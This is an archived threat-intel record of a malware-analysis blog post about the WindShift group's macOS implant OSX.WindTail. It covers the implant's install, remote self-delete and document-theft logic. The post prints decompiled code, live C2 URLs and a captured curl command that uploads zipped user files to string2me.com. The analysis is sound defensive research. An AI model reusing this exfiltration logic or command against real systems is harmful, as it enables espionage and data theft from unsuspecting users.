{
	"id": "4302cf12-836b-433b-8401-106c2dfb5885",
	"created_at": "2026-04-06T00:08:18.844301Z",
	"updated_at": "2026-04-10T03:33:50.228854Z",
	"deleted_at": null,
	"sha1_hash": "db7ce48692735110a2f8e1b24c2f3178ca32e3c8",
	"title": "Middle East Cyber-Espionage",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 469646,
	"plain_text": "Middle East Cyber-Espionage\r\nArchived: 2026-04-05 19:55:10 UTC\r\nMiddle East Cyber-Espionage\r\nanalyzing WindShift's implant: OSX.WindTail (part 2)\r\nJanuary 15, 2019\r\nOur research, tools, and writing, are supported by “Friends of Objective-See”\r\nToday’s blog post is brought to you by:\r\n📝 👾 Want to play along?\r\nI’ve shared various OSX.WindTail samples (password: infect3d)\r\n…please don’t infect yourself!\r\nBackground\r\nA few weeks ago, I posted part one of this two-part blog series covering a the macOS exploits and implants used\r\nin a Middle East cyber-espionage operation.\r\nIn that previous post we covered:\r\nthe exploitation vector (custom URL schemes).\r\nfinding previously undetected OSX.WindTail samples on VirusTotal\r\nthe method of persistence (ab)used by the implant to achieve persistence (launch item).\r\nthe decryption of the implants command and control servers ( flux2key.com/ and string2me.com ).\r\nI’d recommend reading (or re-reading!) part one, as it serves as foundation research to this post.\r\nToday, we’ll complete the analysis of OSX.WindTail , detailing it’s installer and self-delete logic, and thru\r\nreverse-engineering uncover it’s main capabilities.\r\nThe malware’s install logic and capabilities begin with the tuffel method, while the self-delete logic is found\r\nwithin the aptly named mydel method. Both methods are invoked by the malware’s\r\napplicationDidFinishLaunching method:\r\nhttps://objective-see.com/blog/blog_0x3D.html\r\nPage 1 of 15\n\n-(void)applicationDidFinishLaunching:(void *)arg2\r\n{\r\n ...\r\n [r15 tuffel];\r\n [NSThread detachNewThreadSelector:@selector(mydel) toTarget:r15 withObject:0x0];\r\n}\r\nIn this post, we’ll focus on the sample of OSX.WindTail named Final_Presentation.app\r\n(SHA1: 758F10BD7C69BD2C0B38FD7D523A816DB4ADDD90).\r\nThis OSX.WindTail sample, along with a few others, may be download from our Mac Malware Collection.\r\nOSX.WindTail Install Logic\r\nAs noted, in OSX.WindTail ’s applicationDidFinishLaunching method, the malware invokes a method named\r\ntuffel .\r\nNote:\r\nThe applicationDidFinishLaunching method is a automatically invoked “after the application has been launched\r\nand initialized” -apple.com\r\nThus, when analyzing malicious macOS applications, always investigate this method!\r\nTo see what class the tuffel method belongs to, we can use Jonathan Levin’s incredible jtool utility.\r\nSpecifically, via the -v -d objc commandline arguments jtool can dump the embedded Objective-C classes:\r\n$ jtool -v -d objc Final_Presentation.app/Contents/MacOS/usrnode\r\n@interface AppDelegate : ?\r\n...\r\n// 9 instance methods\r\n/* 0 - 0x100001d7d */ - applicationDidFinishLaunching:;\r\n/* 1 - 0x100001fc6 */ - mydel;\r\n/* 2 - 0x1000021f4 */ - tuffel;\r\n/* 3 - 0x10000223f */ - yoop:;\r\n...\r\n@end\r\nVia the jtool output, it is clear that this method, (along with other methods such as mydel and yoop ) belongs\r\nto the malware’s main AppDelegate class.\r\nhttps://objective-see.com/blog/blog_0x3D.html\r\nPage 2 of 15\n\nBy disassembling this method, one can see it allocates and initializes an appdele class, before invoking said\r\nclass’s sis method:\r\n/* @class AppDelegate */\r\n-(void)tuffel {\r\n rax = [appdele alloc];\r\n rax = [rax init];\r\n self-\u003etyt = rax;\r\n [rax sis];\r\n return;\r\n}\r\nTaking a closer look at the appdele ’s init method, reveals that it invokes a method named cp :\r\n/* @class appdele */\r\n-(void)cp {\r\n r13 = self;\r\n var_30 = r13;\r\n *qword_100015f20 = [[NSFileManager alloc] init];\r\n r15 = [[NSBundle mainBundle] bundlePath];\r\n rbx = [r15 lastPathComponent];\r\n r12 = NSHomeDirectory();\r\n r8 = [r13 yoop:@\"oX0s4Qj3GiAzAnOmzGqjOA==\"];\r\n rcx = r12;\r\n rbx = [NSString stringWithFormat:@\"%@%@%@%@\", rcx, r8, @\"/\", rbx];\r\n \r\n ...\r\n if (([*qword_100015f20 copyItemAtPath:r15 toPath:rbx error:0x0] \u0026 0xff) == 0x1)\r\n goto loc_10000297b;\r\n return;\r\nloc_10000297b:\r\n rdi = var_30;\r\n rdx = rbx;\r\n goto loc_100002989;\r\nloc_100002989:\r\n [rdi cmd:rdx];\r\n sleep(0x1e);\r\n exit(0x0);\r\n return;\r\nhttps://objective-see.com/blog/blog_0x3D.html\r\nPage 3 of 15\n\n…yes, a decent amount of logic here, but with the help of some dynamic analysis (via lldb ), it’s not too bad to\r\nbreak down.\r\nFirst, the malware gets the path to it’s own application bundle via [[NSBundle mainBundle] bundlePath] . After\r\ngetting retrieving the bundle’s name (via the lastPathComponent method) the malware invokes the\r\nNSHomeDirectory function to get the user’s home directory. And what about the encoded, encrypted string,\r\noX0s4Qj3GiAzAnOmzGqjOA== ? That decrypts to “ /Library “:\r\n(lldb)\r\n0x100002873 \u003c+125\u003e: movq 0x12bce(%rip), %rsi ; \"yoop:\"\r\n0x10000287a \u003c+132\u003e: leaq 0x10ddf(%rip), %rdx ; @\"oX0s4Qj3GiAzAnOmzGqjOA==\"\r\n0x100002881 \u003c+139\u003e: movq %r13, %rdi\r\n0x100002884 \u003c+142\u003e: callq *%r14\r\n...\r\n//after stepping over callq *%r14\r\n(lldb) po $rax\r\n/Library\r\nThese ‘pieces’ are all passed to the stringWithFormat method, to build the following string:\r\n/Users/user/Library/Final_Presentation.app .\r\nOSX.WindTail then invokes the copyItemAtPath method to copy (install) itself to the ~/Library/ directory:\r\n(lldb) po $rdi\r\n\u003cNSFileManager: 0x1001221e0\u003e\r\n(lldb) x/s $rsi\r\n0x7fff6cabf632: \"copyItemAtPath:toPath:error:\"\r\n(lldb) po $rdx\r\n/Users/user/Desktop/Final_Presentation.app\r\n(lldb) po $rcx\r\n/Users/user/Library/Final_Presentation.app\r\nVia macOS’s built-in file monitor utility, fs_usage , we can passively observe this installation:\r\n# fs_usage -w -f filesystem | grep -i usrnode\r\nopen /Users/user/Desktop/Final_Presentation.app\r\nmkdir /Users/user/Library/Final_Presentation.app\r\nhttps://objective-see.com/blog/blog_0x3D.html\r\nPage 4 of 15\n\n...\r\nThough the normal user won’t likely be poking around in the ~/Library folder - if they did (and their Mac was\r\ninfected with OSX.WindTail ), the malware is rather hard to miss:\r\nIn part one we covered OSX.WindTail ’s persistence (via a login item). This persistence, combined with the above\r\ninstaller logic, completes the persistent install. This of course ensures that the malware will be automatically\r\n(re)started anytime the user logs into the infected system.\r\nOSX.WindTail Self-Delete Logic\r\nRecall the malware’s implementation of the applicationDidFinishLaunching method:\r\n-(void)applicationDidFinishLaunching:(void *)arg2\r\n{\r\nhttps://objective-see.com/blog/blog_0x3D.html\r\nPage 5 of 15\n\n...\r\n [r15 tuffel];\r\n [NSThread detachNewThreadSelector:@selector(mydel) toTarget:r15 withObject:0x0];\r\n}\r\nNote that at the end, the malware spins off a new thread (via the detachNewThreadSelector method), to execute a\r\nmethod named mydel .\r\n/* @class AppDelegate */\r\n-(void)mydel {\r\n \r\n ...\r\n r14 = [NSString stringWithFormat:@\"%@\", [self yoop:@\"F5Ur0CCFMO/fWHjecxEqGLy/...\"]];\r\n \r\n rbx = [[NSMutableURLRequest alloc] init];\r\n [rbx setURL:[NSURL URLWithString:r14]];\r\n \r\n ...\r\n if ([[[NSString alloc] initWithData:[NSURLConnection sendSynchronousRequest:rbx\r\n returningResponse:0x0 error:0x0] encoding:0x4] isEqualToString:@\"1\"] != 0x0) {\r\n \r\n r14 = [NSFileManager defaultManager];\r\n rdx = [[NSBundle mainBundle] bundlePath];\r\n \r\n [r14 removeItemAtPath:rdx error:rcx];\r\n [[NSApplication sharedApplication] terminate:0x0, rcx];\r\n }\r\n return;\r\n}\r\nIn short, the mydel method performs the following:\r\nGenerates a URL request from an encrypted string.\r\nMakes a network request to this URL\r\nIf the request returns a string that equals “1”:\r\nDeletes itself\r\nTerminate itself\r\nVia lldb we can set a breakpoint on this method (at address 0x0000000100001fc6 ) then, step thru this code to\r\nuncover the (decrypted) URL:\r\nhttps://objective-see.com/blog/blog_0x3D.html\r\nPage 6 of 15\n\n(lldb) b 0x0000000100001fc6\r\n(lldb) c\r\n...\r\n-\u003e 0x100002034 \u003c+110\u003e: movq 0x1340d(%rip), %rsi ; \"yoop:\"\r\n 0x10000203b \u003c+117\u003e: leaq 0x113de(%rip), %rdx ; @\"F5Ur0CCFMO/fWHjecxEqGLy/xq5gE98ZviUSLr.\r\n 0x100002042 \u003c+124\u003e: movq %r14, %rdi\r\n 0x100002045 \u003c+127\u003e: callq *%r13\r\n...\r\n//after stepping over `callq *%r13`\r\n(lldb) po $rax\r\nhttp://flux2key.com/liaROelcOeVvfjN/fsfSQNrIyxeRvXH.php?very=%@\u0026xnvk=%@\r\nContinuing to single-step over the instructions in this method reveal the full URL:\r\nhttp://flux2key.com/liaROelcOeVvfjN/fsfSQNrIyxeRvXH.php?very=MTUwMTIwMTkxNDI0MDc1\u0026xnvk=ss\r\nEnabling the network adapter in the VM, allows this network request, which we capture in WireShark:\r\nNote:\r\nhttps://objective-see.com/blog/blog_0x3D.html\r\nPage 7 of 15\n\nThe malware’s command \u0026 control server (flux2key.com) currently returns a 403 ‘Forbidden’ error\r\nAs noted, if the command \u0026 control server returns a string equal to \"1\" , the malware will self delete, then exit:\r\n/* @class AppDelegate */\r\n-(void)mydel {\r\n...\r\n// if the C\u0026C server returns \"1\"\r\n// then self delete and terminate\r\nif ([[[NSString alloc] initWithData:[NSURLConnection sendSynchronousRequest:rbx\r\n returningResponse:0x0 error:0x0] encoding:0x4] isEqualToString:@\"1\"] != 0x0)\r\n {\r\n//self-delete\r\n [[NSFileManager defaultManager] removeItemAtPath:[[NSBundle mainBundle] bundlePath] ...];\r\n \r\n //terminate\r\n[[NSApplication sharedApplication] terminate:0x0 ...];\r\n}\r\n ...\r\n}\r\n…rather neat to see a “remotely triggerable” self-deletion capability built directly into the malware!\r\nOSX.WindTail Payload/Capabilities\r\nIn part one of this two-part blog post, we’ve detailed how OSX.WindTail infects Macs (via (ab)using custom\r\nURL schemes), and how it persists (via login items). In this post, we’ve detailed the installer and self-deleting\r\nlogic. But the question remains, what does the malware actually do. In other words, what is its main goal?\r\nWe start in a method called yan . This method is invoked automatically when the malware starts via\r\n( applicationDidFinishLaunching -\u003e tuffel -\u003e ( appdele ) init ). This decompliation of this method reveals\r\nlittle…though it does appear that the method is decrypting a bunch of encrypted strings:\r\n/* @class appdele */\r\n-(void *)yan {\r\n var_30 = [self yoop:@\"BouCfWujdfbAUfCos/iIOg==\"];\r\n [self yoop:@\"Bk0WPpt0IFFT30CP6ci9jg==\"];\r\n [self yoop:@\"RYfzGQY52uA9SnTjDWCugw==\"];\r\n [self yoop:@\"XCrcQ4M8lnb1sJJo7zuLmQ==\"];\r\n [self yoop:@\"3J1OfDEiMfxgQVZur/neGQ==\"];\r\n [self yoop:@\"Nxv5JOV6nsvg/lfNuk3rWw==\"];\r\n [self yoop:@\"Es1qIvgb4wmPAWwlagmNYQ==\"];\r\n [self yoop:@\"eOA0XJNs/eeFUVMThfZjTA==\"];\r\n [self yoop:@\"B/9RICA+yl4vZrIeyON8cQ==\"];\r\nhttps://objective-see.com/blog/blog_0x3D.html\r\nPage 8 of 15\n\n[self yoop:@\"B8fvRmZ1LJ74Q5OiD9KISw==\"];\r\n rax = [NSMutableArray arrayWithObjects:var_30];\r\n return rax;\r\n}\r\nAs the method appears to return an array of the decrypted strings, lets hop into the debugger ( lldb ) and set a\r\nbreakpoint on the method (address: 0x000000010000238b ). Once this breakpoint is hit, executing lldb’s finish\r\ncommand will execute the entire method, then stop as soon as it returns. Here, we can dump the array of decrypted\r\nstrings!\r\nNote:\r\nThe x64 ABI for macOS dedicates that the return value of a method or function is stored in the RAX register. In\r\nother words, once a method (of function) returns, simply display what’s in the RAX register, to see what’s\r\nreturned (e.g. an array of decrypted strings).\r\n(lldb) b 0x000000010000238b\r\n(lldb) c\r\n...\r\n-\u003e 0x10000238b \u003c+0\u003e: pushq %rbp\r\n 0x10000238c \u003c+1\u003e: movq %rsp, %rbp\r\n 0x10000238f \u003c+4\u003e: pushq %r15\r\n 0x100002391 \u003c+6\u003e: pushq %r14\r\n(lldb) finish\r\n(lldb) po $rax\r\n\u003c__NSArrayM 0x10018f920\u003e(\r\n doc, docx, ppt, pdf, xls,\r\n xlsx, db, txt, rtf, pptx)\r\nAh, a list of file extensions… likely ones that the malware is interested in, in some reason 🤔\r\nNext we move on to looking at the fist method (invoked via the df method, which is scheduled via an\r\nNSTimer ).\r\nNote:\r\nThe df method (which invokes the fist method), first invokes a ‘isOK’ method.\r\nIn a debugger, we can force this check to always succeed (such that the fist method will be invoked) by simply\r\nsettings the return value to a non-zero value: (lldb) reg write $rax 1\r\nhttps://objective-see.com/blog/blog_0x3D.html\r\nPage 9 of 15\n\nThe fist method is rather large, but perusing it’s decompilation reveals it invoking Apple APIs such as\r\ncontentsOfDirectoryAtPath , pathExtension , and (string) compare . Seems reasonable to assume it\r\nenumerating files, perhaps looking for files that match the previously decrypted file extensions?\r\nSetting various breakpoints within the method reveals the malware enumerating and building a list of directories:\r\n(lldb) po $rdi\r\n\u003c__NSArrayM 0x10018e360\u003e(\r\n/Library,\r\n/net,\r\n/Network,\r\n/private,\r\n/sbin,\r\n/System,\r\n/Users,\r\n/usr,\r\n/vm,\r\n/Volumes,\r\n/Applications/App Store.app,\r\n/Applications/Automator.app,\r\n/Applications/Calculator.app,\r\n/Applications/Calendar.app,\r\n/Applications/Chess.app,\r\n/Applications/Contacts.app,\r\n/Applications/Dashboard.app,\r\n/Applications/Dictionary.app,\r\n/Applications/DVD Player.app,\r\n...\r\nMore interestingly, this method adds files that match the (previously) decrypted file extensions ( doc , db , rtf ,\r\netc…) to an array (named honk ):\r\n(lldb) po $rdx\r\n\u003c__NSArrayM 0x1001aafc0\u003e(\r\n{\r\n \"KEY_ATTR\" = {\r\n NSFileCreationDate = \"2017-07-26 01:37:05 +0000\";\r\n NSFileExtensionHidden = 0;\r\n NSFileGroupOwnerAccountID = 0;\r\n NSFileGroupOwnerAccountName = wheel;\r\n NSFileHFSCreatorCode = 0;\r\n NSFileHFSTypeCode = 0;\r\n NSFileModificationDate = \"2017-07-26 01:37:05 +0000\";\r\n NSFileOwnerAccountID = 0;\r\n NSFileOwnerAccountName = root;\r\nhttps://objective-see.com/blog/blog_0x3D.html\r\nPage 10 of 15\n\nNSFilePosixPermissions = 420;\r\n NSFileReferenceCount = 1;\r\n NSFileSize = 1159906;\r\n NSFileSystemFileNumber = 548707;\r\n NSFileSystemNumber = 16777218;\r\n NSFileType = NSFileTypeRegular;\r\n };\r\n \"KEY_PATH\" = \"/Library/Documentation/Acknowledgements.rtf\";\r\n},\r\n{\r\n \"KEY_ATTR\" = {\r\n NSFileCreationDate = \"2017-09-26 06:58:34 +0000\";\r\n NSFileExtensionHidden = 0;\r\n NSFileGroupOwnerAccountID = 0;\r\n NSFileGroupOwnerAccountName = wheel;\r\n NSFileHFSCreatorCode = 0;\r\n NSFileHFSTypeCode = 0;\r\n NSFileModificationDate = \"2017-09-26 07:01:34 +0000\";\r\n NSFileOwnerAccountID = 0;\r\n NSFileOwnerAccountName = root;\r\n NSFilePosixPermissions = 420;\r\n NSFileReferenceCount = 1;\r\n NSFileSize = 57344;\r\n NSFileSystemFileNumber = 890895;\r\n NSFileSystemNumber = 16777218;\r\n NSFileType = NSFileTypeRegular;\r\n };\r\n \"KEY_PATH\" = \"/Library/Application Support/com.apple.TCC/TCC.db\";\r\n},\r\n{\r\n \"KEY_ATTR\" = {\r\n NSFileCreationDate = \"2017-07-15 23:45:04 +0000\";\r\n NSFileExtensionHidden = 0;\r\n NSFileGroupOwnerAccountID = 0;\r\n NSFileGroupOwnerAccountName = wheel;\r\n NSFileHFSCreatorCode = 0;\r\n NSFileHFSTypeCode = 0;\r\n NSFileModificationDate = \"2017-07-15 23:45:04 +0000\";\r\n NSFileOwnerAccountID = 0;\r\n NSFileOwnerAccountName = root;\r\n NSFilePosixPermissions = 384;\r\n NSFileReferenceCount = 1;\r\n NSFileSize = 272;\r\n NSFileSystemFileNumber = 869137;\r\n NSFileSystemNumber = 16777218;\r\n NSFileType = NSFileTypeRegular;\r\n };\r\nhttps://objective-see.com/blog/blog_0x3D.html\r\nPage 11 of 15\n\n\"KEY_PATH\" = \"/private/etc/racoon/psk.txt\";\r\n}\r\n)\r\nFor each of the files that the fist method adds to the honk array, the malware invokes a method, aptly named\r\nzip , which appears to invoke /usr/bin/zip to create an archive of the file:\r\n/* @class image */\r\n-(void)zip {\r\n \r\n r14 = [@\"/tmp/\" stringByAppendingPathComponent:[rbx-\u003em_filePath lastPathComponent]];\r\n ...\r\n rax = [r14 stringByAppendingString:@\".zip\"];\r\n \r\n ...\r\n rax = (r14)(@class(NSArray), @selector(arrayWithObjects:), @\"/usr/bin/zip\", *(rbx + r12), rbx-\u003em_filePath, 0\r\n rax = (r14)(r15, @selector(initWithController:arguments:), rbx, rax);\r\n *(rbx + r13) = rax;\r\n (r14)(rax, @selector(startProcess), rbx);\r\n return;\r\n}\r\nVia Objective-See’s open-source ProcInfo process monitoring utility, we can confirm that the malware does\r\nindeed spawn macOS’s built-in zip utility to create a archive containing containing the file (here for example, a\r\npdf named: StopTemplate.pdf ):\r\n# ./procInfo\r\n[ process start]\r\npid: 1202\r\npath: /usr/bin/zip\r\nargs: (\r\n \"/usr/bin/zip\",\r\n \"/tmp/StopTemplate.pdf.zip\",\r\n \"/Applications/Automator.app/Contents/Resources/StopTemplate.pdf\"\r\n)\r\nOnce the file has been zipped up, the malware invokes a method named upload :\r\n/* @class image */\r\n-(void)upload {\r\n ...\r\n \r\n r14 = [tofg alloc];\r\nhttps://objective-see.com/blog/blog_0x3D.html\r\nPage 12 of 15\n\nif (r12-\u003em_State == 0x1) {\r\n var_30 = [@\"vast=@\" stringByAppendingString:r12-\u003em_tempPath];\r\n [@\"od=\" stringByAppendingString:r12-\u003em_ComputerName_UserName];\r\n [@\"kl=\" stringByAppendingString:r12-\u003econt];\r\n r8 = var_30;\r\n rax = [NSArray arrayWithObjects:@\"/usr/bin/curl\"];\r\n rdx = r12;\r\n rax = [r14 initWithController:rdx arguments:rax];\r\n }\r\n else {\r\n rax = [NSArray arrayWithObjects:@\"/usr/bin/curl\"];\r\n rcx = rax;\r\n rax = [r14 initWithController:rdx arguments:rcx];\r\n }\r\n [rax startProcess];\r\n return;\r\n}\r\nReferences to curl ( /usr/bin/curl ) in this method imply the malware is likely exfiltrating the files by\r\n(ab)using this built-in network utility.\r\nThis can be confirmed via ProcInfo, (which also reveals the network endpoint\r\nstring2me.com/qgHUDRZiYhOqQiN/kESklNvxsNZQcPl.php ):\r\n# ./procInfo\r\n[ process start]\r\npid: 1258\r\npath: /usr/bin/curl\r\nuser: 501\r\nargs: (\r\n \"/usr/bin/curl\",\r\n \"-F\",\r\n \"vast=@/tmp/StopTemplate.pdf.zip\",\r\n \"-F\",\r\n \"od=1601201920543863\",\r\n \"-F\",\r\n \"kl=users-mac.lan-user\",\r\n \"string2me.com/qgHUDRZiYhOqQiN/kESklNvxsNZQcPl.php\"\r\n)\r\nFrom curl ’s man page, we can see that the -F flag will post data, and when @ is specified, curl will\r\nprocess the input as a file:\r\n-F, --form \u003cname=content\u003e\r\nhttps://objective-see.com/blog/blog_0x3D.html\r\nPage 13 of 15\n\n(HTTP) This lets curl emulate a filled-in form in which a user has pressed the submit button. This\r\ncauses curl to POST data using the Content-Type multipart/form-data according to RFC 2388. This\r\nenables uploading of binary files etc. To force the ‘content’ part to be a file, prefix the file name with an\r\n@ sign. To just get the content part from a file, prefix the file name with the symbol \u003c. The difference\r\nbetween @ and \u003c is then that @ makes a file get attached in the post as a file upload, while the \u003c makes\r\na text field and just get the contents for that text field from a file.\r\nExample: to send an image to a server, where ‘profile’ is the name of the form-field to which\r\nportrait.jpg will be the input: curl -F profile=@portrait.jpg https://example.com/upload.cgi\r\nA WireShark capture illustrates the exfiltration attempt to string2me.com :\r\nHooray, we’ve uncovered (and confirmed) that OSX.WindTail s ultimate goal is to persistently exfiltrate files\r\n(such as documents) to a remote server. Such a capability fits nicely into any offensive cyber-espionage operation,\r\nsuch as the one orchestrated by the WINDSHIFT APT group.\r\nNote:\r\nOSX.WindTail attempts to upload the files to string2me.com.\r\nHowever, this server currently returns a 403 (HTTP Forbidden). Thus, at this point in time, the exfiltration fails.\r\nConclusion\r\nIt’s not everyday that the Mac capabilities of an APT or “nation state” are uncovered. However, OSX.WindTail\r\n(belonging to the WINDSHIFT APT group), provided an interesting case-study, of such a tool.\r\nhttps://objective-see.com/blog/blog_0x3D.html\r\nPage 14 of 15\n\nIn today’s blog post, we dove into OSX.WindTail , detailing it’s method of installation, self-delete logic, and file-extfiltration capabilities. (See part one for details on the malware’s exploitation/infection vector and persistence\r\nmechanism).\r\nSpecifically, we showed how the malware’s installs itself into the ~/Library/ , before enumerating and\r\nexfiltrating documents and database files.\r\nLove these blog posts \u0026 tools?\r\nYou can support them via my Patreon page!\r\nSource: https://objective-see.com/blog/blog_0x3D.html\r\nhttps://objective-see.com/blog/blog_0x3D.html\r\nPage 15 of 15",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"MITRE",
		"Malpedia"
	],
	"references": [
		"https://objective-see.com/blog/blog_0x3D.html"
	],
	"report_names": [
		"blog_0x3D.html"
	],
	"threat_actors": [
		{
			"id": "6bd4ed50-e116-494c-bb70-9587876663f1",
			"created_at": "2023-01-06T13:46:39.004062Z",
			"updated_at": "2026-04-10T02:00:03.178044Z",
			"deleted_at": null,
			"main_name": "WindShift",
			"aliases": [
				"Windy Phoenix"
			],
			"source_name": "MISPGALAXY:WindShift",
			"tools": [],
			"source_id": "MISPGALAXY",
			"reports": null
		},
		{
			"id": "68f12936-2361-4720-87e1-b79a4fdbf1a0",
			"created_at": "2022-10-25T16:07:24.409855Z",
			"updated_at": "2026-04-10T02:00:04.978227Z",
			"deleted_at": null,
			"main_name": "WindShift",
			"aliases": [
				"G0112",
				"Windy Phoenix"
			],
			"source_name": "ETDA:WindShift",
			"tools": [
				"WindTail"
			],
			"source_id": "ETDA",
			"reports": null
		},
		{
			"id": "75108fc1-7f6a-450e-b024-10284f3f62bb",
			"created_at": "2024-11-01T02:00:52.756877Z",
			"updated_at": "2026-04-10T02:00:05.273746Z",
			"deleted_at": null,
			"main_name": "Play",
			"aliases": null,
			"source_name": "MITRE:Play",
			"tools": [
				"Nltest",
				"AdFind",
				"PsExec",
				"Wevtutil",
				"Cobalt Strike",
				"Playcrypt",
				"Mimikatz"
			],
			"source_id": "MITRE",
			"reports": null
		},
		{
			"id": "ada9e5d3-1cb2-4b70-a3c8-96808c304ac8",
			"created_at": "2022-10-25T15:50:23.6515Z",
			"updated_at": "2026-04-10T02:00:05.352078Z",
			"deleted_at": null,
			"main_name": "Windshift",
			"aliases": [
				"Windshift",
				"Bahamut"
			],
			"source_name": "MITRE:Windshift",
			"tools": [
				"WindTail"
			],
			"source_id": "MITRE",
			"reports": null
		}
	],
	"ts_created_at": 1775434098,
	"ts_updated_at": 1775792030,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/db7ce48692735110a2f8e1b24c2f3178ca32e3c8.pdf",
		"text": "https://archive.orkl.eu/db7ce48692735110a2f8e1b24c2f3178ca32e3c8.txt",
		"img": "https://archive.orkl.eu/db7ce48692735110a2f8e1b24c2f3178ca32e3c8.jpg"
	}
}